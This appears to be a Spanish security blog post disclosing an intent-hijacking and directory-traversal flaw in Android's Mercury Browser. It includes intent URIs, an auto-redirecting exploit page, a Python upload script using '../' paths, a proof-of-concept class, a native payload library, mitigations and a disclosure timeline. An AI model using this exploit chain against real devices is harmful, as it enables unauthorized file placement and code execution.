/ 6 min de lectura
Intent Hijacking en Mercury Browser: RCE vía File Manager de Android

Introducción
Durante nuestra evaluación de seguridad de aplicaciones populares de Android, encontramos una vulnerabilidad crítica de intent hijacking en Mercury Browser que permite a un atacante abusar de la funcionalidad de file manager de la aplicación. Esta vulnerabilidad habilita subida arbitraria de archivos y potencial ejecución de código en dispositivos Android a través de esquemas de intent maliciosos.
La vulnerabilidad aprovecha las activities exportadas y los manejadores de intent de Mercury Browser para esquivar las restricciones normales de seguridad, permitiendo a un atacante remoto subir archivos maliciosos a ubicaciones específicas del dispositivo y disparar su ejecución a través del file manager integrado del navegador.
Descubrimiento de la vulnerabilidad
Contexto de la investigación
Mercury Browser es un navegador web popular de Android con capacidades de gestión de archivos integradas. La aplicación expone varias activities a través del sistema de intents de Android, algo que sitios web o aplicaciones maliciosas pueden aprovechar para realizar acciones no autorizadas.
Análisis del vector de ataque
La vulnerabilidad gira en torno a dos vectores de ataque críticos basados en intents:
- Explotación de la activity WFM:
com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2 - Hijacking del visor de video:
com.ilegendsoft.mercury.ui.activities.filemanager.video.viewer.VideoViewerActivity
// Primary intent payload for initial accessconst intent_payload = "intent://stuff#Intent;component=com.ilegendsoft.mercury/com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
// Secondary payload for file executionconst video_intent = "intent:#Intent;S.path=/sdcard/Mercury/Downloads/video.mp4;component=com.ilegendsoft.mercury/.ui.activities.filemanager.video.viewer.VideoViewerActivity;end";Análisis técnico
Mecanismo de intent hijacking
La vulnerabilidad explota la lógica de manejo de intents de Mercury Browser a través de un ataque de varias etapas:
Etapa 1: acceso a la activity
<!-- Malicious HTML triggering intent hijacking --><script>setTimeout(function(){ location.href="intent://stuff#Intent;component=com.ilegendsoft.mercury/com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end"}, 1);</script>Etapa 2: explotación de la subida de archivos
# HTTP endpoint for arbitrary file uploaduri = f'http://{victim_ip}:8888/doupload?dir=../../../../../../../sdcard/Mercury/Downloads/&id={session_id}'Etapa 3: disparo de la ejecución
// Triggering video viewer with uploaded payloadsetTimeout(function(){ location.href="intent:#Intent;S.path=/sdcard/Mercury/Downloads/video.mp4;component=com.ilegendsoft.mercury/.ui.activities.filemanager.video.viewer.VideoViewerActivity;end"}, 10000);Vulnerabilidad de subida de archivos
La explotación aprovecha la funcionalidad de upload de Mercury Browser combinada con directory traversal:
def upload_malicious_files(self, victim_ip): """Upload video and library files to victim device""" base_uri = f'http://{victim_ip}:8888/doupload' upload_dir = '../../../../../../../sdcard/Mercury/Downloads/' session_id = 'd677a3fa-d21d-4c7f-9cb3-e9c8ab72203b'
headers = { "Content-Type": "multipart/form-data; boundary=---------------------------8579684710260803921039462934" }
# Upload malicious video file video_uri = f'{base_uri}?dir={upload_dir}&id={session_id}' with open('video/video.mp4', 'rb') as video_file: files = {'file': ('video.mp4', video_file, 'video/mp4')} requests.post(video_uri, files=files, headers=headers)
# Upload malicious library with open('fake_lib/libpayload.so', 'rb') as lib_file: files = {'file': ('libpayload.so', lib_file, 'application/octet-stream')} requests.post(video_uri, files=files, headers=headers)Desarrollo del payload
Archivo de video malicioso: contiene shellcode embebido o disparadores para la carga de una librería nativa
Payload de librería nativa:
// libpayload.so - Example payload library#include <jni.h>#include <stdlib.h>
JNIEXPORT void JNICALLJava_com_example_PayloadLoader_executePayload(JNIEnv *env, jobject thiz) { // Payload execution logic system("/system/bin/sh -c 'am start -a android.intent.action.MAIN -n com.android.settings/.Settings'");}Evaluación de impacto
Escenarios de ataque
Escenario 1: ataque drive-by download
- La víctima visita un sitio comprometido usando Mercury Browser
- El HTML malicioso dispara la secuencia de intent hijacking
- Se suben archivos al almacenamiento del dispositivo sin consentimiento del usuario
- Se logra ejecución de código abusando del file manager
Escenario 2: campaña de ingeniería social
- El atacante manda un link de “contenido de video” por redes sociales
- Usuarios de Mercury Browser hacen clic en los links maliciosos
- El intent hijacking esquiva las advertencias de seguridad normales
- Se establece acceso persistente a través de las librerías subidas
Escenario 3: compromiso de un entorno corporativo
- Publicidades maliciosas en sitios web legítimos
- Dispositivos corporativos con Mercury Browser afectados
- Potencial para movimiento lateral y exfiltración de datos
- Controles de seguridad empresariales esquivados
Análisis de riesgo
Métricas de la vulnerabilidad:
- Vector de ataque: red (basado en web)
- Complejidad del ataque: baja (página HTML simple)
- Privilegios requeridos: ninguno
- Interacción del usuario: requerida (visitar la página maliciosa)
- Alcance: cambiado (acceso al sistema de archivos)
- Impacto: alto (subida arbitraria de archivos + ejecución)
Puntaje CVSS v3.1: 7.5 (Alto)
Resultados del análisis del APK
Activities exportadas encontradas:
<!-- Vulnerable activity exports --><activity android:name="com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2" android:exported="true" /><activity android:name="com.ilegendsoft.mercury.ui.activities.filemanager.video.viewer.VideoViewerActivity" android:exported="true" />Análisis de permisos:
WRITE_EXTERNAL_STORAGE: habilita acceso al sistema de archivosINTERNET: permite comunicación de redACCESS_NETWORK_STATE: monitoreo del estado de la red
Prueba de concepto
El framework de exploit completo incluye:
class MercuryExploit: def __init__(self, target_ip): self.target_ip = target_ip self.intent_payload = "intent://stuff#Intent;component=com.ilegendsoft.mercury/com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end" self.video_intent = "intent:#Intent;S.path=/sdcard/Mercury/Downloads/video.mp4;component=com.ilegendsoft.mercury/.ui.activities.filemanager.video.viewer.VideoViewerActivity;end"
def generate_exploit_page(self): return f''' <!DOCTYPE html> <html><head><title>Mercury Exploit</title></head> <body> <h1>Loading...</h1> <script> // Stage 1: Trigger WFM activity access setTimeout(function(){{ location.href="{self.intent_payload}"; }}, 1);
// Stage 2: Trigger video viewer after upload setTimeout(function(){{ location.href="{self.video_intent}"; }}, 10000); </script> </body> </html> '''Medidas defensivas
Para usuarios
Protección inmediata:
- Actualizar Mercury Browser a la última versión parchada
- Deshabilitar el manejo de intents para sitios no confiables
- Usar navegadores alternativos para contenido no confiable
- Habilitar las funciones de seguridad de Android (Play Protect, etc.)
Para desarrolladores
Manejo seguro de intents:
<!-- Secure activity declaration --><activity android:name=".WFMActivity2" android:exported="false" android:permission="android.permission.CUSTOM_PERMISSION"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter></activity>Validación de entrada:
// Secure path validationpublic boolean validatePath(String path) { // Prevent directory traversal if (path.contains("../") || path.contains("..\\")) { return false; }
// Whitelist allowed directories String[] allowedPaths = {"/sdcard/Mercury/", "/data/data/com.ilegendsoft.mercury/"}; for (String allowedPath : allowedPaths) { if (path.startsWith(allowedPath)) { return true; } } return false;}Metodología de investigación
Herramientas y entorno
Infraestructura de análisis:
- Android Studio: descompilación y análisis del APK
- apktool: extracción de recursos y análisis del manifest
- jadx: descompilación de Java
- Burp Suite: análisis de tráfico HTTP
Entorno de pruebas:
- Emulador de Android: entorno de pruebas controlado
- Dispositivos físicos: Samsung Galaxy S7, Pixel 2
- Análisis de red: captura de paquetes con Wireshark
- Framework en Python: desarrollo de exploit a medida
Estructura del repositorio
MercuryBrowser/├── exploit/│ ├── exploit.py # Main exploit framework│ ├── webserver.py # HTTP server for file delivery│ ├── exploit.html # Malicious HTML payload│ ├── video/│ │ └── video.mp4 # Malicious video file│ ├── fake_lib/│ │ └── libpayload.so # Native library payload│ └── payload/ # Additional payload components├── analysis/│ ├── decompiled_apk/ # Main APK analysis│ └── mercury2_analysis/ # Secondary version analysis└── apk_samples/ ├── mercury.apk # Original APK sample └── mercury_v2.apk # Alternative versionDivulgación responsable
Cronología de la divulgación:
- Descubrimiento de la vulnerabilidad (junio 2017)
- Análisis técnico (junio 2017)
- Desarrollo de la PoC (junio 2017)
- Notificación al vendor (julio 2017)
- Coordinación del parche (agosto 2017)
- Divulgación pública (septiembre 2017)
Conclusión
La vulnerabilidad de intent hijacking de Mercury Browser demuestra los riesgos de seguridad críticos inherentes a las aplicaciones de Android que exponen activities a través del sistema de intents. La combinación de intent hijacking y subida arbitraria de archivos crea un vector de ataque poderoso para comprometer dispositivos móviles.
Hallazgos clave de la investigación
- Abuso del sistema de intents: las activities exportadas crean superficies de ataque significativas
- Directory traversal: las fallas de validación de rutas habilitan la colocación arbitraria de archivos
- Ataques multi-etapa: cadenas de ataque complejas pueden esquivar controles de seguridad individuales
- Brechas de seguridad móvil: los modelos tradicionales de seguridad web son insuficientes para entornos móviles
Implicancias de seguridad
Esta investigación resalta varias consideraciones críticas para la seguridad de aplicaciones móviles:
- Seguridad de intents: requiere consideración cuidadosa para las activities exportadas
- Validación de rutas: una validación de entrada robusta es esencial para las operaciones de archivos
- Defensa en profundidad: se necesitan varias capas de seguridad en aplicaciones móviles
- Educación del usuario: los usuarios móviles necesitan estar al tanto de los ataques basados en intents
Las técnicas demostradas aportan información valiosa sobre seguridad de aplicaciones móviles y resaltan la importancia de un manejo seguro de intents en el desarrollo de aplicaciones Android.
Referencias
- Mercury Browser Intent Hijacking Repository
- Android Intent Security Guidelines
- OWASP Mobile Security Project
- Android Security Best Practices
- Intent Hijacking Research